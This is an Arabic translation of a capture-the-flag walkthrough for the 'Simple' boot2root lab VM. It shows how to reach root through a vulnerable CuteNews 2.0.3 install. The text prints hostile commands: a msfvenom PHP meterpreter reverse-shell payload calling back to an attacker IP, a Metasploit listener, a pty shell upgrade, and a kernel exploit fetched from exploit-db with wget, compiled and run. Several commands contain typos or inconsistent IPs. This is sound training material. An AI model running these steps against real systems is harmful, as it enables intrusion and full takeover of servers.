مقال : حل تحدي Simple VM
Simple CTF تحدي من تحديات boot2root والتي تركز على اساسيات اختبار اختراق تطبيقات الويب. بمجرد تحميل VM قم بالتعامل معه كسيرفر ويب يمكن رؤيتها على الشبكة في حاله لا يمكنك الوصول اليه مباشرة .
الخدع مثل التعديل على إعدادات البيوس لل VM او اعدادات الـGrub ليس مسموح بها على الأطلاق. المسموح به فقط هو الهجوم عن بعد. وهدفك هو المسار root/flag.txt/ . وبالتالي tفي هذه المقالة سوف نمر على جميع الطرق لتحقيق هذا الهدف.
أولا قم بتحميل simple VM من هنا
سوف نبدا تحديد هدفنا بإستخدام الامر التالي :
netdiscover
هدفنا هو 192.168.0.104
ثم انتقل لمسح الهدف باستخدام nmap مع الامر التالي:
nmap -A -p 192.168.0.104
خلال المسح سوف تجد بأن البورت 80 مفتوح. فلنفتحه عبر متصفحنا
والأن يمكننا رؤية ان هدفنا يستخدم CuteNews v.2.0.3 والأخبار الجيدة هي بأنه قابل للإستغلال, لنبحث عن إستغلاله:
searchspolit cutenews 2.0.3
من خلال البحث عن الإستغلال يمكننا معرفة باننا نملك الان المسار من اجل الإستغلال. بإتباع المسار والذهاب الى ملف txt. المستغل. سوف تجد ضمن الملف النصي التعليمات بكيفية رفع الملف. اول شئ يخبرنا بكيفية التسجيل على الموقع للتمكن من رفع الملف. وللتسجيل سيطلب منك إعطاءه اسم المستخدم وكلمة المرور. عند اكمال خطوات التسجيل, سوف يتم توجيهك الى هذه النافذة:
الأن نحتاج الى رفع الملف وقم بذلك بمساعدة msfvenom:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.103 lport=4444 -f raw
قم بنسخ الكود من php?> الى ()die واحفظه في ملف له لاحقة .php . ولرفع الملف قم بتسجيل الدخول بإستخدام اسم المستخدم الذي قم بالتسجيل فيه ثم انقر على personal options وقم بإدخال اسم المستخدم وعنوان البريد الإلكتروني ,ومن ثم اختر الملف الذي تريد رفعه وانقر على save.
الأن سوف نستخدم dirb لإيجاد المسارات. من أجل ذلك قم بكتابة:
dirb http://192.168.0.104
سوف يظهر لك مسار الرفع. هذه هو المسار الذي سوف يرفع اليه ملفك. افتح المسار في المتصفح وسوف تجد ملفك هناك.
الأن اذهب الى metaspolit واكتب :
use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.1.113 set lport 4444 exploit
بتنفيذ الإستغلال الموضح بالأعلى سوف نمتلك جلسة meterpreter , اكتب أيضا:
shell
واذا قمت بكتابة المزيج من الأمرين التاليين لإيستيراد ملف البايثون للوصول الى terminal فعندها لن تعمل بسبب نسخة البايثونالمحدثة :
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
الأن سوف تصل لل terminal. هنا, قم بكتابة الأمر التالي لمعرفة نسخة kernal:
lsb release -a
وحسب مانعرف بأن تلك النسخة من kernal قابلة للإستغلال وغير محصنة, بناء على ذلك سوف نقوم بتحميل إستغلاله بالأمر التالي:
wget https//www.exploit-db.com/download/36746
هذا سوف يقوم بتنصيب الإستغلال بنجاح. وبالتقدم للإمام سوف نقوم ب compile الملف:
gcc 36746.c -o access -static
سوف نقوم الأن بفتح ملف الوصول
./access
ومن ثم كتابة id لمعرفة المستخدمين ومن ثم اكتب :
cd /root
وسوف يأخذك لمسار الرووت. قم بكتابة:
ls
وسوف يقوم بعرض قائمة من الملفات ومنهم سيكون ملف flag.txt. ولقراءة الملف من نوع flag نكتب:
cat flag.txt
ترجمة مقال : (Hack the Simple VM (CTF Challenge لصاحبها RAJ CHANDEL